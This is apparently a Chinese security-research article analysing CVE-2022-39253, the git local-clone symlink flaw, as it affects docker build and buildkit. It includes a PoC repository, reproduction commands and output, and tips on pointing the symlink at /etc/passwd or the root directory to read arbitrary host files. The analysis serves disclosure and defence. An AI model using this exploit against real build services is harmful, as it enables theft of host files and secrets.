1
Docker是一种开源的轻量级容器技术,可以让开发人员将应用程序和依赖关系打包在一个镜像中,便于随时随地部署。它通过进程隔离技术隔离应用程序和底层操作系统,使应用程序可以在任何地方运行,提高了应用程序的可移植性和可重复性。
docker build
是Docker命令行工具中的一个命令,用于创建Docker镜像。它接受一个Dockerfile作为输入,Dockerfile是一个文本文件,包含了构建Docker镜像所需的所有命令。使用docker build命令时,Docker会根据Dockerfile中的步骤依次执行每个命令,并在最后生成一个新的Docker镜像。用户可以使用这个新镜像来创建Docker容器,并在容器中运行应用程序。
docker build
也支持直接通过git仓库构建。当URL参数指向一个Git仓库的位置时,该仓库将作为构建环境。系统会递归地获取该仓库及其子模块。仓库首先被拉到你本地主机上的一个临时目录。成功后,该目录被发送到Docker daemon作为上下文来构建镜像。
例如:
docker build https://github.com/docker/rootfs.git#container:docker
详见:https://docs.docker.com/engine/reference/commandline/build/#git-repositories
2
3
1. 介绍
Item |
Details |
Note |
Project |
moby/moby[1] |
|
Publish Date |
advisory:2022-11-11 fix release: 2022-10-19 |
|
Introduce Date |
2014-02-18 |
|
|
|
|
|
ssst0n3/docker-cve-2022-39253-poc[3] |
|
Affect Version |
|
|
|
||
|
|
|
|
||
Fix Commit |
commits[4] |
|
|
||
Introduce Commit |
Support submodules when building from a gh repo[6] |
漏洞归属于git,当clone一个本地仓库时,git的本地优化特性会解析软链接,导致主机任意文件读取。
docker build支持通过git仓库构建,攻击者可以通过在git仓库的子模块中嵌入本地仓库,从而利用git漏洞实现主机任意文件读取。
2. 影响
2.1 范围
docker官方公布的范围为 <= 20.10.19。
即:v0.8.1 <= docker <= v20.10.22 (本文完稿前最新版本)
2.2 危害
主机任意文件读取。如果主机上有敏感信息,可能导致逃逸。
CVSS:
业界未对docker的该漏洞打分,我尝试做了分析:
对于docker软件:
6.2 CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
vector | score | reason |
---|---|---|
Attack Vector | Local | 要求能控制docker build的参数 |
Attack Complexity | Low | - |
Privileges Required | None | 能执行docker build是前提条件 |
User Interaction | None | - |
Scope | Unchanged | 对docker软件来说未改变 |
Confidentiality | High | 主机任意文件读取 |
Integrity | None | - |
Availability | None | - |
对典型的编译构建场景
如云厂商提供的构建服务、目标组织的devops流程:
7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
相对docker软件的评分,变化在于Attack Vector:
vector | score | reason |
---|---|---|
Attack Vector | Network | 通常不直接操作docker build命令 |
2.3 利用场景
基于容器的编译构建场景,特别是云厂商提供的编译构建服务,和目标组织的devops流程中的编译构建服务。
攻击者可以触发docker build从一个恶意的仓库clone代码,利用本漏洞,读取宿主机任意文件。
4
1. 修复建议
-
升级git软件至修复版本(>= v2.30.6, v2.31.5, v2.32.4, v2.33.5, v2.34.5, v2.35.5, v2.36.3, v2.37.4, v2.38.1)
-
升级docker软件版本至修复版本(>= 20.10.20)
2. 规避措施
-
如果更新软件版本不可行,可以考虑设置
git config --global protocol.file.allow user
或git config --global protocol.file.allow never
。 -
尽可能避免构建不可信的代码
3. 检测
因为最终的payload位于git仓库中,需要判断git仓库中的submodule是否为本地路径。
我认为检测难度较大,可以考虑从行为上检测:
监测操作系统上关键文件的访问行为,能否关联到git clone相关的行为。
5
1. 复现环境
-
ssst0n3/docker_archive:git_cve-2022-39253
docker run -ti ssst0n3/docker_archive:git_cve-2022-39253
...
ubuntu login: root
Password: root
...
root@ubuntu:~# docker version
...
Server: Docker Engine - Community
Engine:
Version: 20.10.22
...
root@ubuntu:~# apt-cache policy git
git:
Installed: 1:2.34.1-1ubuntu1.2
...
2. 漏洞复现
poc https://github.com/ssst0n3/docker-cve-2022-39253-poc.git
在主机上创建文件/tmp/escaped,正常情况docker build时应无法读取当前工作目录外的文件。
利用该漏洞,可以读取到/tmp/escaped文件内容。实战利用时,可用于读取主机任意目录或文件。
2.1 docker build
在构建过程中,主机文件被复制到了context中。
docker run -ti ssst0n3/docker_archive:git_cve-2022-39253
...
ubuntu login: root
Password: root
...
root@ubuntu:~# echo "*************escaped*************" > /tmp/escaped
root@ubuntu:~# docker build https://github.com/ssst0n3/docker-cve-2022-39253-poc.git#main
Sending build context to Docker daemon 234kB
Step 1/4 : FROM busybox
latest: Pulling from library/busybox
45a0cdc5c8d3: Pull complete
Digest: sha256:3b3128d9df6bbbcc92e2358e596c9fbd722a437a62bafbc51607970e9e3b8869
Status: Downloaded newer image for busybox:latest
---> 334e4a014c81
Step 2/4 : COPY / /
---> 9f2e7d6efffd
Step 3/4 : RUN ls -lah /.git/modules/evil/objects/host
---> Running in e21e9a9c8294
-rw-r--r-- 1 root root 8 Dec 21 02:26 /.git/modules/evil/objects/host
Removing intermediate container e21e9a9c8294
---> c87453ca2a37
Step 4/4 : RUN cat /.git/modules/evil/objects/host
---> Running in a0463dca30b7
*************escaped*************
Removing intermediate container a0463dca30b7
---> 2330735e84e4
Successfully built 2330735e84e4
2.2 buildkit
注:buildkit仅可用以下环境复现,高版本已修复。
ssst0n3/docker_archive:git_cve-2022-39253
ssst0n3/docker_archive:ubuntu-22.04_docker-ce-20.10.19_docker-ce-cli-20.10.19_containerd.io-1.6.14-1_docker-compose-plugin-2.14.1
在构建过程中,主机文件被复制到了context中。
docker run -ti ssst0n3/docker_archive:git_cve-2022-39253
...
ubuntu login: root
Password: root
...
root@ubuntu:~# echo "*************escaped*************" > /tmp/escaped
root@ubuntu:~# DOCKER_BUILDKIT=1 docker build --build-arg BUILDKIT_CONTEXT_KEEP_GIT_DIR=1 --progress=plain https://github.com/ssst0n3/docker-cve-2022-39253-poc.git#main
#1 [internal] load git source https://github.com/ssst0n3/docker-cve-2022-39253-poc.git#main
#1 sha256:280616c8069fb544e8cc9145dd9ea05c8b9cc706a342b113745c6bc7694e4e9d
#1 1.544 6b5a4c619a33f5abf25b3aaee99913ab27d1ec9brefs/heads/main
#1 2.602 hint: Using 'master' as the name for the initial branch. This default branch name
#1 2.602 hint: is subject to change. To configure the initial branch name to use in all
#1 2.602 hint: of your new repositories, which will suppress this warning, call:
#1 2.602 hint:
#1 2.617 Initialized empty Git repository in /var/lib/docker/overlay2/ous0wc3tbo7v6tuzrcda51dln/diff/.git/
#1 2.620 hint: git config --global init.defaultBranch <name>
#1 2.620 hint:
#1 2.620 hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
#1 2.620 hint: 'development'. The just-created branch can be renamed via this command:
#1 2.620 hint:
#1 2.620 hint: git branch -m <name>
#1 3.465 From /var/lib/docker/overlay2/aaqjop89za0ovjstnnqfb6gfc/diff
#1 3.465 * [new tag] main -> main
#1 3.469 * [new tag] main -> main
#1 3.741 Note: switching to 'FETCH_HEAD'.
#1 3.741
#1 3.741 You are in 'detached HEAD' state. You can look around, make experimental
#1 3.741 changes and commit them, and you can discard any commits you make in this
#1 3.741 state without impacting any branches by switching back to a branch.
#1 3.741
#1 3.741 If you want to create a new branch to retain commits you create, you may
#1 3.741 do so (now or later) by using -c with the switch command. Example:
#1 3.741
#1 3.741 git switch -c <new-branch-name>
#1 3.741
#1 3.741 Or undo this operation with:
#1 3.741
#1 3.741 git switch -
#1 3.741
#1 3.741 Turn off this advice by setting config variable advice.detachedHead to false
#1 3.741
#1 3.748 HEAD is now at 6b5a4c6 Update README.md
#1 4.558 Submodule 'evil' (/proc/self/cwd/evil2/git) registered for path 'evil'
#1 4.735 Cloning into '/var/lib/docker/overlay2/ous0wc3tbo7v6tuzrcda51dln/diff/evil'...
#1 4.783 warning: --depth is ignored in local clones; use file:// instead.
#1 4.914 done.
#1 5.524 Submodule path 'evil': checked out 'f66ae89dec4c3bcdc5e26a05013f9e81a9d289ac'
#1 DONE 5.8s
#2 [internal] load metadata for docker.io/library/busybox:latest
#2 sha256:da853382a7535e068feae4d80bdd0ad2567df3d5cd484fd68f919294d091b053
#2 DONE 1.9s
#3 [1/4] FROM docker.io/library/busybox@sha256:7b3ccabffc97de872a30dfd234fd972a66d247c8cfc69b0550f276481852627c
#3 sha256:5d01dee3676f65afd16d92926a73622e9d820268eed02e12d615383bc73e77bc
#3 DONE 0.0s
#3 [1/4] FROM docker.io/library/busybox@sha256:7b3ccabffc97de872a30dfd234fd972a66d247c8cfc69b0550f276481852627c
#3 sha256:5d01dee3676f65afd16d92926a73622e9d820268eed02e12d615383bc73e77bc
#3 CACHED
#4 [2/4] COPY / /
#4 sha256:acfb16def20dd1b9c0b14696c830303130ec75730686519d7754e89a9745440f
#4 DONE 0.7s
#5 [3/4] RUN ls -lah /.git/modules/evil/objects/host
#5 sha256:9488618b1286f5485467903ce3c2b8145a1e9a2859a2c764361595f85a6930e4
#5 3.973 -rw-r--r-- 1 root root 34 Jan 16 08:46 /.git/modules/evil/objects/host
#5 DONE 4.2s
#6 [4/4] RUN cat /.git/modules/evil/objects/host
#6 sha256:4dc361a882d0568aa9bb14db6943d84275df59e5d51571e558932ba5071f7dac
#6 4.722 *************escaped*************
#6 DONE 5.1s
#7 exporting to image
#7 sha256:e8c613e07b0b7ff33893b694f7759a10d42e180f2b4dc349fb57dc6b71dcab00
#7 exporting layers
#7 exporting layers 1.1s done
#7 writing image sha256:9c2a833580670c808035e470e33f9e4a2a24068641e9e522dc8a64955e9fb6a5 0.0s done
#7 DONE 1.1s
6
漏洞分析
6
该漏洞归属于git,关于git部分的分析,详见公众号文章“Git CVE-2022-39253 漏洞分析与复现”的“漏洞分析章节”。
下文走读docker v20.10.19分支下的代码,分析docker是如何调用git相关特性的。
1. 原始特性分析
docker build 支持通过git仓库构建镜像,如果git仓库内嵌了子模块,还会递归获取子模块代码。
下面我构造一个环境验证一下docker build的递归获取git子模块的功能。
root@ubuntu:~# cd /tmp
root@ubuntu:/tmp# git init repo
root@ubuntu:/tmp# git init sub
root@ubuntu:/tmp# cd sub
root@ubuntu:/tmp/sub# touch SUB-MODULE-PULLED
root@ubuntu:/tmp/sub# git add . && git commit -m init
root@ubuntu:/tmp/sub# cd /tmp/repo
root@ubuntu:/tmp/repo# git submodule add /tmp/sub
root@ubuntu:/tmp/repo# cat << EOF > Dockerfile
FROM busybox
COPY . /
RUN ls -lah /
RUN ls -lah /sub
EOF
root@ubuntu:/tmp/repo# git add . && git commit -m init
root@ubuntu:/tmp/repo# git update-server-info
root@ubuntu:/tmp/repo# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
执行docker build, 可见sub子模块自动被拉取。
root@ubuntu:~# docker build http://127.0.0.1:8000/.git
Sending build context to Docker daemon 127.5kB
Step 1/4 : FROM busybox
---> 66ba00ad3de8
Step 2/4 : COPY . /
---> 846236f9f6d0
Step 3/4 : RUN ls -lah /
---> Running in 941ba6d1b8b1
total 64K
drwxr-xr-x 1 root root 4.0K Jan 11 11:49 .
drwxr-xr-x 1 root root 4.0K Jan 11 11:49 ..
-rwxr-xr-x 1 root root 0 Jan 11 11:49 .dockerenv
drwxr-xr-x 9 root root 4.0K Jan 11 11:49 .git
-rw-r--r-- 1 root root 46 Jan 11 11:49 .gitmodules
-rw-r--r-- 1 root root 54 Jan 11 11:49 Dockerfile
drwxr-xr-x 2 root root 12.0K Jan 3 22:44 bin
drwxr-xr-x 5 root root 340 Jan 11 11:49 dev
drwxr-xr-x 1 root root 4.0K Jan 11 11:49 etc
drwxr-xr-x 2 nobody nobody 4.0K Jan 3 22:44 home
drwxr-xr-x 2 root root 4.0K Jan 3 22:44 lib
lrwxrwxrwx 1 root root 3 Jan 3 22:44 lib64 -> lib
dr-xr-xr-x 183 root root 0 Jan 11 11:49 proc
drwx------ 2 root root 4.0K Jan 3 22:44 root
drwxr-xr-x 2 root root 4.0K Jan 11 11:49 sub
dr-xr-xr-x 13 root root 0 Jan 11 11:49 sys
drwxrwxrwt 2 root root 4.0K Jan 3 22:44 tmp
drwxr-xr-x 4 root root 4.0K Jan 3 22:44 usr
drwxr-xr-x 4 root root 4.0K Jan 3 22:44 var
Removing intermediate container 941ba6d1b8b1
---> 2a6f775fb86e
Step 4/4 : RUN ls -lah /sub
---> Running in 2da23649b92e
total 12K
drwxr-xr-x 2 root root 4.0K Jan 11 11:49 .
drwxr-xr-x 1 root root 4.0K Jan 11 11:49 ..
-rw-r--r-- 1 root root 28 Jan 11 11:49 .git
-rw-r--r-- 1 root root 0 Jan 11 11:49 SUB-MODULE-PULLED
Removing intermediate container 2da23649b92e
---> 658a8c16d5d4
Successfully built 658a8c16d5d4
2. 调用链分析
执行docker build命令从docker cli开始。
https://github.com/docker/cli/blob/v20.10.19/cli/command/image/build.go#L112
func NewBuildCommand(dockerCli command.Cli) *cobra.Command {
...
cmd := &cobra.Command{
...
RunE: func(cmd *cobra.Command, args []string) error {
options.context = args[0]
return runBuild(dockerCli, options)
},
}
...
}
docker build支持buildkit功能,要分开来分析。因为buildkit功能相对更复杂,下文将先分析未开启buildkit的情况,再分析buildkit。
https://github.com/docker/cli/blob/v20.10.19/cli/command/image/build.go#L209
func runBuild(dockerCli command.Cli, options buildOptions) error {
buildkitEnabled, err := command.BuildKitEnabled(dockerCli.ServerInfo())
...
if buildkitEnabled {
return runBuildBuildKit(dockerCli, options)
}
...
}
2.1 未启用buildkit
cli在请求engine build之前,要负责将context,dockerfile收集好,传递给engine。
支持4种场景:
-
stdin
-
本地目录
-
git
-
url
其中git场景,会从git仓库下载代码到临时目录。
https://github.com/docker/cli/blob/v20.10.19/cli/command/image/build.go#L258-L278
func runBuild(dockerCli command.Cli, options buildOptions) error {
...
specifiedContext := options.context
...
switch {
case options.contextFromStdin():
// buildCtx is tar archive. if stdin was dockerfile then it is wrapped
buildCtx, relDockerfile, err = build.GetContextFromReader(dockerCli.In(), options.dockerfileName)
case isLocalDir(specifiedContext):
contextDir, relDockerfile, err = build.GetContextFromLocalDir(specifiedContext, options.dockerfileName)
...
case urlutil.IsGitURL(specifiedContext):
tempDir, relDockerfile, err = build.GetContextFromGitURL(specifiedContext, options.dockerfileName)
case urlutil.IsURL(specifiedContext):
buildCtx, relDockerfile, err = build.GetContextFromURL(progBuff, specifiedContext, options.dockerfileName)
default:
...
}
...
}
IsGitURL函数判断url是否为有效的git地址。
注意:这里cli调用了docker engine的代码,但流程仍在cli部分处理。此类代码,因为被vendor到了cli仓库,所以我们直接在cli仓库内分析。
但实际上,相关代码的维护是先在docker engine修改,再vendor到cli仓库的。
https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/pkg/urlutil/urlutil.go#L33
var (
validPrefixes = map[string][]string{
"url": {"http://", "https://"},
"git": {"git://", "github.com/", "git@"},
...
}
urlPathWithFragmentSuffix = regexp.MustCompile(".git(?:#.+)?$")
)
func IsURL(str string) bool {
return checkURL(str, "url")
}
func IsGitURL(str string) bool {
if IsURL(str) && urlPathWithFragmentSuffix.MatchString(str) {
return true
}
return checkURL(str, "git")
}
func checkURL(str, kind string) bool {
for _, prefix := range validPrefixes[kind] {
if strings.HasPrefix(str, prefix) {
return true
}
}
return false
}
GetContextFromGitURL函数调用git.Clone下载代码。
https://github.com/docker/cli/blob/v20.10.19/cli/command/image/build/context.go#L198
import(
...
"github.com/docker/docker/builder/remotecontext/git"
...
)
func GetContextFromGitURL(gitURL, dockerfileName string) (string, string, error) {
...
absContextDir, err := git.Clone(gitURL)
...
}
https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/builder/remotecontext/git/gitutils.go#L24
func Clone(remoteURL string) (string, error) {
repo, err := parseRemoteURL(remoteURL)
if err != nil {
return "", err
}
return cloneGitRepo(repo)
}
从url字符串中解析
-
git仓库地址
-
ref: git分支或tag
-
subdir: git仓库的子目录
https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/builder/remotecontext/git/gitutils.go#L77
func parseRemoteURL(remoteURL string) (gitRepo, error) {
repo := gitRepo{}
...
if strings.HasPrefix(remoteURL, "git@") {
...
} else {
u, err := url.Parse(remoteURL)
if err != nil {
return repo, err
}
repo.ref, repo.subdir = getRefAndSubdir(u.Fragment)
u.Fragment = ""
repo.remote = u.String()
}
...
return repo, nil
}
cloneGitRepo函数调用系统中的git命令,下面逐步走读该函数。
下载代码前,准备git的工作目录。
-
创建临时目录,形如
/tmp/docker-build-git210804187
,下面都用该路径代指临时目录 -
初始化git工作目录,执行
git --work-tree /tmp/docker-build-git210804187 --git-dir /tmp/docker-build-git210804187/.git init
-
添加远程版本库, 执行
git --work-tree /tmp/docker-build-git210804187 --git-dir /tmp/docker-build-git210804187/.git remote add origin <address>
做好这些准备工作,下一步就可以拉取代码了。
https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/builder/remotecontext/git/gitutils.go#L37-L57
func cloneGitRepo(repo gitRepo) (checkoutDir string, err error) {
...
root, err := ioutil.TempDir("", "docker-build-git")
if err != nil {
return "", err
}
defer func() {
if err != nil {
os.RemoveAll(root)
}
}()
if out, err := gitWithinDir(root, "init"); err != nil {
...
}
if out, err := gitWithinDir(root, "remote", "add", "origin", repo.remote); err != nil {
...
}
...
}
func gitWithinDir(dir string, args ...string) ([]byte, error) {
a := []string{"--work-tree", dir, "--git-dir", filepath.Join(dir, ".git")}
return git(append(a, args...)...)
}
func git(args ...string) ([]byte, error) {
return exec.Command("git", args...).CombinedOutput()
}
执行git --work-tree /tmp/docker-build-git210804187 --git-dir /tmp/docker-build-git210804187/.git fetch [--depth 1] origin -- <ref>
,fetch代码。
https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/builder/remotecontext/git/gitutils.go#L58
func cloneGitRepo(repo gitRepo) (checkoutDir string, err error) {
fetch := fetchArgs(repo.remote, repo.ref)
...
if output, err := gitWithinDir(root, fetch...); err != nil {
return "", errors.Wrapf(err, "error fetching: %s", output)
}
...
}
https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/builder/remotecontext/git/gitutils.go#L124
func fetchArgs(remoteURL string, ref string) []string {
args := []string{"fetch"}
if supportsShallowClone(remoteURL) {
args = append(args, "--depth", "1")
}
return append(args, "origin", "--", ref)
}
checkout 到特定分支,如果有指定子目录,将工作目录切换至该子目录。
https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/builder/remotecontext/git/gitutils.go#L62
func cloneGitRepo(repo gitRepo) (checkoutDir string, err error) {
...
checkoutDir, err = checkoutGit(root, repo.ref, repo.subdir)
if err != nil {
return "", err
}
...
}
https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/builder/remotecontext/git/gitutils.go#L166
func checkoutGit(root, ref, subdir string) (string, error) {
if output, err := gitWithinDir(root, "checkout", ref); err != nil {
if _, err2 := gitWithinDir(root, "checkout", "FETCH_HEAD"); err2 != nil {
return ...
}
}
if subdir != "" {
newCtx, err := symlink.FollowSymlinkInScope(filepath.Join(root, subdir), root)
if err != nil {
return ...
}
fi, err := os.Stat(newCtx)
if err != nil {
return "", err
}
if !fi.IsDir() {
return ...
}
root = newCtx
}
return root, nil
}
递归下载子模块,执行git submodule update --init --recursive --depth=1
func cloneGitRepo(repo gitRepo) (checkoutDir string, err error) {
...
cmd := exec.Command("git", "submodule", "update", "--init", "--recursive", "--depth=1")
cmd.Dir = root
output, err := cmd.CombinedOutput()
if err != nil {
return "", errors.Wrapf(err, "error initializing submodules: %s", output)
}
return checkoutDir, nil
}
未启用buildkit的场景分析完毕,确认其通过调用git执行一系列命令。
2.2 buildkit
对开启了buildkit的git场景,cli几乎不作处理,直接把git地址透传至engine。
2.2.1 cli
判断build场景,如果是git地址,直接传递至engine。
https://github.com/docker/cli/blob/v20.10.19/cli/command/image/build_buildkit.go#L47
func runBuildBuildKit(dockerCli command.Cli, options buildOptions) error {
...
switch {
case options.contextFromStdin():
...
case isLocalDir(options.context):
...
case urlutil.IsGitURL(options.context):
remote = options.context
case urlutil.IsURL(options.context):
...
default:
return ...
}
...
eg.Go(func() error {
...
buildOptions.RemoteContext = remote
...
return doBuild(ctx, eg, dockerCli, stdoutUsed, options, buildOptions, dockerAuthProvider)
})
return eg.Wait()
}
https://github.com/docker/cli/blob/v20.10.19/cli/command/image/build_buildkit.go#L254
func doBuild(ctx context.Context, eg *errgroup.Group, dockerCli command.Cli, stdoutUsed bool, options buildOptions, buildOptions types.ImageBuildOptions, at session.Attachable) (finalErr error) {
...
response, err := dockerCli.Client().ImageBuild(context.Background(), nil, buildOptions)
...
}
https://github.com/docker/cli/blob/v20.10.19/vendor/github.com/docker/docker/client/image_build.go#L35
func (cli *Client) ImageBuild(ctx context.Context, buildContext io.Reader, options types.ImageBuildOptions) (types.ImageBuildResponse, error) {
query, err := cli.imageBuildOptionsToQuery(options)
...
serverResp, err := cli.postRaw(ctx, "/build", query, buildContext, headers)
...
}
2.2.2 engine
buildkit代码的调用链过于复杂,我跳过前置部分,直接来到调用git的地方。前置部分有机会再补充。
执行 git ls-remote
,确认远端仓库是否存在ref
https://github.com/moby/moby/blob/v20.10.19/vendor/github.com/moby/buildkit/source/git/gitsource.go#L349
func (gs *gitSourceHandler) CacheKey(ctx context.Context, g session.Group, index int) (string, solver.CacheOpts, bool, error) {
...
buf, err := gitWithinDir(ctx, gitDir, "", sock, knownHosts, gs.auth, "ls-remote", "origin", ref)
...
}
初始化工作目录。
https://github.com/moby/moby/blob/v20.10.19/vendor/github.com/moby/buildkit/source/git/gitsource.go#L128-L139
func (gs *gitSource) mountRemote(ctx context.Context, remote string, auth []string, g session.Group) (target string, release func(), retErr error) {
...
if initializeRepo {
if _, err := gitWithinDir(ctx, dir, "", "", "", auth, "init", "--bare"); err != nil {
return ...
}
if _, err := gitWithinDir(ctx, dir, "", "", "", auth, "remote", "add", "origin", remote); err != nil {
return ...
}
...
}
...
}
依次执行以下命令
-
git cat-file
-
git fetch
-
git init
-
git remote add origin
-
git update ref
-
git fetch
-
git checkout
-
git submodule
https://github.com/moby/moby/blob/v20.10.19/vendor/github.com/moby/buildkit/source/git/gitsource.go#L368
func (gs *gitSourceHandler) Snapshot(ctx context.Context, g session.Group) (out cache.ImmutableRef, retErr error) {
...
doFetch := true
if isCommitSHA(ref) {
// skip fetch if commit already exists
if _, err := gitWithinDir(ctx, gitDir, "", sock, knownHosts, nil, "cat-file", "-e", ref+"^{commit}"); err == nil {
doFetch = false
}
}
...
if doFetch {
os.RemoveAll(filepath.Join(gitDir, "shallow.lock"))
args := []string{"fetch"}
if !isCommitSHA(ref) { // TODO: find a branch from ls-remote?
args = append(args, "--depth=1", "--no-tags")
} else {
if _, err := os.Lstat(filepath.Join(gitDir, "shallow")); err == nil {
args = append(args, "--unshallow")
}
}
args = append(args, "origin")
if !isCommitSHA(ref) {
args = append(args, "--force", ref+":tags/"+ref)
}
if _, err := gitWithinDir(ctx, gitDir, "", sock, knownHosts, gs.auth, args...); err != nil {
return ...
}
}
...
if gs.src.KeepGitDir {
checkoutDirGit := filepath.Join(checkoutDir, ".git")
if err := os.MkdirAll(checkoutDir, 0711); err != nil {
return nil, err
}
_, err = gitWithinDir(ctx, checkoutDirGit, "", sock, knownHosts, nil, "init")
if err != nil {
return nil, err
}
_, err = gitWithinDir(ctx, checkoutDirGit, "", sock, knownHosts, nil, "remote", "add", "origin", gitDir)
if err != nil {
return nil, err
}
pullref := ref
if isCommitSHA(ref) {
pullref = "refs/buildkit/" + identity.NewID()
_, err = gitWithinDir(ctx, gitDir, "", sock, knownHosts, gs.auth, "update-ref", pullref, ref)
if err != nil {
return nil, err
}
} else {
pullref += ":" + pullref
}
_, err = gitWithinDir(ctx, checkoutDirGit, "", sock, knownHosts, gs.auth, "fetch", "-u", "--depth=1", "origin", pullref)
if err != nil {
return nil, err
}
_, err = gitWithinDir(ctx, checkoutDirGit, checkoutDir, sock, knownHosts, nil, "checkout", "FETCH_HEAD")
if err != nil {
return nil, errors.Wrapf(err, "failed to checkout remote %s", gs.src.Remote)
}
gitDir = checkoutDirGit
} else {
_, err = gitWithinDir(ctx, gitDir, checkoutDir, sock, knownHosts, nil, "checkout", ref, "--", ".")
if err != nil {
return nil, errors.Wrapf(err, "failed to checkout remote %s", gs.src.Remote)
}
}
_, err = gitWithinDir(ctx, gitDir, checkoutDir, sock, knownHosts, gs.auth, "submodule", "update", "--init", "--recursive", "--depth=1")
...
}
基本上与非buildkit是一致的,最后会执行git submodule命令来递归下载子模块。
区别在于buildkit场景需要满足 gs.src.KeepGitDir,才会保留git目录。即,需要设置BUILDKIT_CONTEXT_KEEP_GIT_DIR=true
。这可能会影响漏洞利用。
3. 漏洞分析
根据上文的分析,docker build时处理git地址,几乎都是直接调用的git命令。在涉及submodule时,也默认递归下载。
因此,docker build受git的漏洞CVE-2022-39253影响。
如果使用buildkit,因为buildkit默认不保留git目录,而漏洞利用需要把主机文件复制到git目录。所以需要配置BUILDKIT_CONTEXT_KEEP_GIT_DIR=true
,builtkit才受影响。
4. poc构造
poc https://github.com/ssst0n3/docker-cve-2022-39253-poc.git
构造过程详见Git CVE-2022-39253 漏洞分析与复现的“漏洞复现”章节。
如果需要改造,可以fork该项目,将evil2/git/objects/host
文件指向其他路径。
ln -s /etc/passwd evil2/git/objects/host
ln -s /etc evil2/git/objects/host
甚至可以直接指向根目录。
7
漏洞挖掘方法分析:
-
目标:docker
-
分析docker所调用的外部命令,其中一个为git
-
走读docker源码,获得所有执行的git命令列表
-
调用git命令的场景为docker build
-
分析docker build的风险,将目标聚焦在调用git时可能触发的漏洞
-
考虑git的命令注入,或任意文件读取
-
在分析到任意文件读取时,很自然想到软链接
-
阅读git相关代码,分析涉及处理软链接的相关函数
其他思考:
-
为漏洞产生点不在docker,因此难以挖掘,但可以形成安全模型,由于篇幅关系,另起一篇文章研究。
-
该漏洞是git的漏洞,但影响了下游软件。
-
该漏洞归属于git,下游软件可能没有分配CVE编号,因此可能不受业界重视。
-
鉴于业界对此漏洞的关注度不足,渗透测试可以重点验证下游软件、云服务的利用情况。
8
[1]https://github.com/moby/moby
[2]https://github.com/moby/moby/security/advisories/GHSA-vp35-85q5-9f25
[3]https://github.com/ssst0n3/docker-cve-2022-39253-poc
[4]https://github.com/moby/moby/pull/44325
[5]https://github.com/moby/buildkit/commit/c014937225cba29cfb1d5161fd134316c0e9bdaa
[6]https://github.com/moby/moby/commit/c9ae66ffe375156ddf39cb41664224d6e1a6f096
本公众号发布、转载的文章所涉及的技术、思路、工具仅供学习交流,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论